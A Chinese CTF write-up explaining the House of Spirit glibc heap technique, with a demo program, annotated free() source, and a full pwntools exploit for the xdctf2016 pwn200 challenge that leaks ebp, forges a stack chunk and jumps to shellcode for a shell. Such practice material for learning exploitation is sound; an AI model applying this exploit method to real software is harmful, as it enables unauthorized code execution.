HouseofSprit 原理调试验证与实践

由于在一个群无意抢了一个运气王红包,必须得发文章到i春秋论坛,所以水了这篇

原理与调试验证

House of Spirit和其他的堆的利用手段有所不同。它是将存在的指针改写指向我们伪造的块(这个块可以位于堆、栈、bss任何一个位置)并且free掉欺骗glibc达到把伪造块回收到bins中不过在free之前,需要设置当前伪造块和下一个伪造块的size字段,满足free()的安全检测机制,从而欺骗glibc。
下面是heap exploitation 中的demo小程序先感性的体会下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include<stdlib.h>
struct fast_chunk
{
size_t pre_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20];
};

int main(void)
{
struct fast_chunk fake_chunks[2];
void *ptr,*victim;
ptr=malloc(0x30);
fake_chunks[0].size=sizeof(struct fast_chunk);
fake_chunks[1].size=sizeof(struct fast_chunk);
ptr=(void *)&fake_chunks[0].fd;
free(ptr);
victim=malloc(0x30);
}

调试验证

申请两块fake_chunk。

所以:

&fake_chunks[0]=0x7fffffffdda0
&fake_chunks[1]=0x7fffffffdde0

为绕过安全监测机制,设置好当前块和下一块的size字段

改写一个指针指向伪造的块

因为是fd的地址,所以是:0x7fffffffddb0

free之后,伪造的块已经加入到了fastbin的链表中去了


此时再申请和伪造的块大小一样的块

返回了和之前free的伪造块一样的块。
至于地址为什么是&fake_chunks[0]+0x10是因为返回的可用memory就是位于pre_size和size字段之后。这个和chunk的结构有关

为什么当前构造块和下一个构造块要填充size字段?

分析下free的源码就知道了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void 
public_fRE(Void_t* mem)
{
mstate ar_ptr;
mchunkptr p; // mem相应的chunk
...
p = mem2chunk(mem); //将 mem转换为chunk地址
if (chunk_is_mmapped(p)) //检查chunk的mmp位
{
munmap_chunk(p); //用unmmap的方式直接取消映射
return;
}
...
ar_ptr = arena_for_chunk(p); //找到chunk对应的area
...
_int_free(ar_ptr, mem); //调用init_free()函数进入正常的free块并检测以及回收的流程
}

为了让伪造的块进入到正常的free流程,所以要使得构造的当前chunk的size字段的mmp对应位是0就行了。

接下来是_init_free函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void _int_free(mstate av, Void_t* mem)
{
mchunkptr p; // mem相应的chunk
INTERNAL_SIZE_T size; //size,大小
mfastbinptr* fb; //联系fast bin
...
p = mem2chunk(mem); //memory转换为chunk
size = chunksize(p); //获得chunksize
...
if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) //当前chunk的size字段的比较,不能超过fastbin的最大值
{
if (chunk_at_offset(p, size)->size <= 2 * SIZE_SZ
|| __builtin_expect(chunksize(chunk_at_offset(p, size))
>= av->system_mem, 0)) //比较下一个chunk的size字段,2*SIZE_ZE<chunksize<av->system_mem

{
errstr = "free(): invalid next size (fast)";
goto errout;
}
...
fb = &(av->fastbins[fastbin_index(size)]);
...
p->fd = *fb;
*fb = p;
}
}

所以要设置好下个chunk的size字段。

原理懂了就找题练练手吧

实践

在网上找题练,找来找去,发现有篇一个比赛的wp说xdctf2016的时候,师傅们就出了这样的类似一道题,所以找Klaus师傅要了程序副本,调了下这题
pwn200:
虽然存在非预期的解法,这里不管,只是为了学习HouseOfSpirit。

先分析流程:

看看保护措施:
[upl-image-preview url=//bbs.xdsec.org/assets/files/2018-08-02/1533203221-307788-tim20180802174640.png]

存在offbyone,只要完整的输入48个字节,就会泄露出ebp的值,结合保护措施,因此是可以使用shellcode的,至于怎么触发shellcode,肯定需要使程序控制流跳转到shellcode,这道题要么覆盖返回地址,要么修改free的got表。修改返回地址也有两种方式,一是直接栈溢出覆盖(这里肯定不行,输入长度有限制),二是通过Hos修改。这里只为学习Hos的利用,其他方法的请自行google学习
执行测试就知道:

划线的就是泄露的ebp的值。

输入id的值。
然后进入:

申请了一个块,然后先通过buff获得输入,然后再通过strcpy复制到申请的块当中,并将块的地址赋值到全局变量的指针ptr中去,并且这个ptr是可以被覆盖重写的

然后进入:

这个函数的内容和经典的菜单题没什么区别。

checkout函数是把块给free掉

checkin则是申请块,并填充块的内容
[upl-image-preview url=//bbs.xdsec.org/assets/files/2018-08-02/1533203388-23135-tim20180802174931.png]
仔细调试分析可以发现,在提示输入who are u?的函数里边,id是我们可以控制的,然后进入了函数400A29
然后分配了money局部变量,也是我们可控的,stack的图大致如下

1
2
3
4
5
6
7
8
=============stack===================low

money
...
返回地址
...
id
=====================================high

money和id都是可控的。就返回地址不可控,再结和文章开始houseofspirit的使用条件是两个可控的chunk。
那其实这道题是HouseOfSpirit,已经很明显了。

解题思路

  • 从程序流程开始,先在栈中布置shellcode,并泄露出ebp的值,从而计算出shellcode在栈中的地址。

  • 输入id作为下一个chunk的size字段的id的值

  • 将局部分量money伪造成一个chunk,构造好大小并且使得大小把返回地址包括在内,把ptr的值溢出覆盖为构造的chunk的地址,这个地址可以通过泄露的ebp计算出来

  • free掉伪造的chunk

  • 重新申请大小和伪造的chunk一致的块,使得系统将伪造的chunk分配给我们

  • 申请回来之后,返回地址就是我们可控的了,再将shellcode的地址写入返回地址处,控制程序返回就可以getshell

栈中布置图

在本地调试时,获得了关键的变量的地址,然后自己拼了这个图(当时stack的布局):

调试关键:
0x400ac7处打断点,查看泄露ebp以及shellcode布置相关
0x400b26处打断点,查看id在栈中的位置
0x400a5f处打断点,伪造chunk

exp及源文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.log_level="debug"
context.arch="amd64"
context.os="linux"
context.endian="little"
log.info( "====start====")
p=process("./pwn200")
p.recvuntil("?\n")
shellcode=asm(shellcraft.amd64.linux.sh())
payload1=shellcode+(48-len(shellcode))*"a"
#payload1="a"*48
log.info("====leaking the ebp===")
p.send(payload1)
p.recvuntil(payload1)
ebp=u64(p.recv(6)+'\0\0')
shellcode_addr=ebp-0x50
mem_addr=ebp-0x90
print "shellcode_addr:"+hex(shellcode_addr)
print "mem_addr:"+hex(mem_addr)
log.info("====construct the fake chunk====")
p.recvuntil("?\n")
next_chunk_size=0x20
p.send(str(next_chunk_size)+'\n')
padding=p64(0)*4
chunk_presize=p64(0x1)
chunk_size=p64(0x41)
ptr=p64(mem_addr)
payload=padding+chunk_presize+chunk_size+p64(0)+ptr
p.recvuntil("~\n")
p.send(payload+(0x40-len(payload))*"\0")
p.recvuntil(": ")
p.send("2\n")
p.recvuntil(": ")
p.send("1\n")
p.recvuntil("long?\n")
p.send("48\n")
p.recvuntil("money : ")
log.info("write the ret address to shellcode")
payload2="1"*0x18+p64(shellcode_addr)
p.send(payload2)
log.info("===get the shell===")
p.recvuntil(": ")
p.send("3\n")
p.interactive()